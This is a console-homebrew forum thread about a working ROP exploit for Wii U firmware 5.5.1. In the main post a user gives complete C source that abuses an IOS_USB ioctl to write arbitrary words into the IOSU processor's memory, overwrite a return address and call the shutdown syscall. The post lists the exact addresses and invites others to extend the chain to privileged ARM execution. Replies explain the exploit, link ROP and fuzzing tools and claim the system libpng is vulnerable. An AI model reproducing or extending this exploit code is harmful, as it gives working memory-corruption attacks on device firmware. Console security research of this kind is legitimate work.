Hacking ROP from within IOS_USB (5.5.1)

[AboodXD]

inb4 spam posts

TAKE NOTE PEOPLE: THIS IS NOT AN IOSU EXPLOIT!
It demonstrates code execution on the IOSU processor that can eventually lead to a kernel attack on the IOSU, but right now all it does is cold-boot (I think?) your console.
It is like Browserhax - useful for basic stuff but you want a kernel exploit in order to have backups, HBL and extended memory access.

I think this is a Userland one.

 

[thisisallowed]

I think this is a Userland one.

Nope. This is just ROP.

 

[Deleted User]

@CreeperMario, you'll have to explain that differently since I'm not really sure what you mean. The work I did allowed homebrew apps to run exception handlers on their main threads (albeit with screwed-up stacks) which is much less restrictive than the default behavior. Not sure how it ties in here.

Sorry I took so long to get back to you, I was working on a new sig (with some help from GitHub Pages for image hosting)
With that method of running exception handlers on the main thread, is the stack big enough to handle drawing the exception errors with OSScreen text, waiting for a button press on the GamePad and then trigger this IOSU-based reset?

I might try doing something like this within the next week.

 

[EclipseSin]

Hi guys. Below is an implementation of the userland IOSU exploit on the wiki. It demonstrates a simple ROP chain which will call the shutdown syscall from within IOS_USB and restart your console. (5.5.1 only.) I'm posting this here in the hope that someone might build on this and get privileged execution on the ARM, perhaps by implementing the IOS_CreateThread exploit that is detailed on the wiki, and then share it publicly.

How this works is described in detail on the wiki but you might like to know that the ROP chain overwrites the return address for the subroutine at 0x1011D968. The return address is at 0x1016AD40. The thread's stack is within the range [0x1015AE50, 0x1016AE50). You might also like to know that MEM1 is mapped R/W on the PPC side at 0xF4000000 and on the ARM side at 0x00000000.

The trouble I'm having right now is I am unable to construct a larger ROP chain without it being overwritten between calls to write32. I've tried lots of different ways of moving the stack pointer around but I haven't had much luck. And of course I know there are people who have already achieved privileged execution on the ARM, but this is for the people who are waiting.

Here's what I have.

loader.c:

#include "loader.h"

void _start()
{
    /* Load a good stack */
    asm(
        "lis %r1, 0x1ab5 ;"
        "ori %r1, %r1, 0xd138 ;"
    );

    unsigned int coreinit_handle;
    OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle);

    void(*_Exit)();
    OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &_Exit);

    void(*OSSleepTicks)(long long x);
    OSDynLoad_FindExport(coreinit_handle, 0, "OSSleepTicks", &OSSleepTicks);

    int(*IOS_Open)(char *path, unsigned int mode);
    OSDynLoad_FindExport(coreinit_handle, 0, "IOS_Open", &IOS_Open);

    int(*IOS_Close)(int fd);
    OSDynLoad_FindExport(coreinit_handle, 0, "IOS_Close", &IOS_Close);

    int du0h = IOS_Open("/dev/uhs/0", 0);

    //int ret = write32(du0h, 0x1016BE50 - 0xF0, 0x1012EE5C); // reset syscall

#define CHAIN_START 0x1016AD40
#define SHUTDOWN 0x1012EE4C
#define SIMPLE_RETURN 0x101014E4

    int ret;

    ret = write32(du0h, CHAIN_START + 0x4, SIMPLE_RETURN);
    ret = write32(du0h, CHAIN_START + 0x8, SHUTDOWN);

    // the following line will trigger the ROP chain
    ret = write32(du0h, CHAIN_START, SIMPLE_RETURN);
 
    IOS_Close(du0h);

    _Exit();

    while (1);
}

int write32(int dev_uhs_0_handle, int arm_addr, int val) {

    unsigned int coreinit_handle;
    OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle);

    int(*IOS_Ioctl)(int fd, unsigned int request, void *input_buffer,
        unsigned int input_buffer_len, void *output_buffer, unsigned int output_buffer_len);
    void(*DCFlushRange)(void *addr, unsigned int len);
    void(*DCInvalidateRange)(void *addr, unsigned int len);
    void(*OSSleepTicks)(long long x);
    OSDynLoad_FindExport(coreinit_handle, 0, "IOS_Ioctl", &IOS_Ioctl);
    OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &DCFlushRange);
    OSDynLoad_FindExport(coreinit_handle, 0, "DCInvalidateRange", &DCInvalidateRange);
    OSDynLoad_FindExport(coreinit_handle, 0, "OSSleepTicks", &OSSleepTicks);

    int* pretend_root_hub = (int*)0xF5003ABC;
    int *ayylmao = (int*)0xF4500000;

    ayylmao[8] = (int)ayylmao - 0xF4000000;
    ayylmao[5] = 1;
    ayylmao[520] = arm_addr - 24; // the address to be overwritten, minus 24 bytes.

    pretend_root_hub[33] = (int)ayylmao - 0xF4000000;
    pretend_root_hub[78] = 0;

    DCFlushRange(pretend_root_hub + 33, 200);
    DCInvalidateRange(pretend_root_hub + 33, 200);
    DCFlushRange(ayylmao, 521 * 4);
    DCInvalidateRange(ayylmao, 521 * 4);
    OSSleepTicks(0x200000);

    int root_hub_index = -(0xBEA2C); // gets IOS_USB to read from the middle of MEM1

    int request_buffer[] = { root_hub_index, val };
    int output_buffer[32];
    int ret = IOS_Ioctl(dev_uhs_0_handle, 0x15, request_buffer, sizeof(request_buffer), output_buffer, sizeof(output_buffer));
    return ret;
}

loader.h:

#ifndef LOADER_H
#define LOADER_H

#include "../../../libwiiu/src/coreinit.h"
#include "../../../libwiiu/src/socket.h"
#include "../../../libwiiu/src/uhs.h"
#include "../../../libwiiu/src/types.h"

/* Application start */
void _start();
int write32(int, int, int);

#endif /* LOADER_H */

Would be some shit if that was really Hillary trying to get GBATemp support. Lmao

Anyway, the small things count. Good job!

 

[Deleted User]

That IOSU exploit's getting closer and closer

 

[iAqua]

Slowly getting closer to a IOSU exploit, .

 

[pwsincd]

For those wantnig to try rebooting your console. : try the appstore

 

[FaTaL_ErRoR]

Hey hilary, at least you got away with destroying incriminating evidence. So, you shouldnt get in any trouble for releasing anything for the wii u.
Anyway, after resetting via rop one needs to check malloc for null pointers. Then one needs to exploit said pointer via an image that contains instruction to be moved to. There are many already existing attacks for arm using this method one can use those for reference. Once new instruction are set one simply loads ppc boot code and the wii u boots to wii u mode with an exploited IOS. Need help? You know where to find me Hilary.

 

[OriginalHamster]

Could be possible that IOS_USB return parameters for a Wii U formatted drive D:?

 

[Deleted User]

I don't think you can compile it as .elf, but I have the .mp4 (which is probably faster to execute anyway) if you want that.

Ah could I have that .mp4?

OT: Nice work! Pretty neat just to play around with

 

[Deleted User]

Ah could I have that .mp4?

OT: Nice work! Pretty neat just to play around with

Happy Christmas. /s

 

[AboodXD]

Nope. This is just ROP.

Isn't this ROP using IOSU userland exploit?

BTW, can somebody do a "Hello World from IOSU Userland"?

 

[Phantom64]

Actually this is cool, we have the first IOSU (userland) homebrew

 

[FaTaL_ErRoR]

https://github.com/inaz2/roputils
Probably one of the greatest tools made: https://github.com/mirrorer/afl
Oh yeah, wii u libpng is vulnerable.

 

[Ghassen-ga]

still have no idea what's going on or why is everyone so hyped ..

 

[TheZander]

still have no idea what's going on or why is everyone so hyped ..

First part

Guy wrote some code that allows you to reboot your WiiU

Second, I guess you could consider these people hyped, but they're not really.

What I figured is the poster decided to write something with the information available on the wiki. I do not think anything new really was leaked or released. Just new code implementing libraries or syscalls that were documented. It's homebrew I think. So when someone makes homebrew people tend to get excited and congratulate / thank.

 

[proflayton123]

IOSU userland being somewhat leaked, this is a start!

 

[Sammi Husky]

still have no idea what's going on or why is everyone so hyped ..

First part

Guy wrote some code that allows you to reboot your WiiU

Second, I guess you could consider these people hyped, but they're not really.

What I figured is the poster decided to write something with the information available on the wiki. I do not think anything new really was leaked or released. Just new code implementing libraries or syscalls that were documented. It's homebrew I think. So when someone makes homebrew people tend to get excited and congratulate / thank.

This is an implementation of ROP getting userland code execution on the IOSU processor, which you can then use to run code in IOSU userland to exploit it's kernel

 

[QuarkTheAwesome]

Sorry I took so long to get back to you, I was working on a new sig (with some help from GitHub Pages for image hosting)
With that method of running exception handlers on the main thread, is the stack big enough to handle drawing the exception errors with OSScreen text, waiting for a button press on the GamePad and then trigger this IOSU-based reset?

I might try doing something like this within the next week.

Ah, okay. Well; I don't see why it wouldn't work... Not sure of the benefit though; is this IOS reboot faster than your average boot?
As for VPADs and things; I can see a few possible issues but nothing that can't be overcame with some clever programming.

 

[Deleted User]

Is this IOS reboot faster than your average boot?

It saves the four-second overhead caused by having to hold down the power button on the console, I know that far.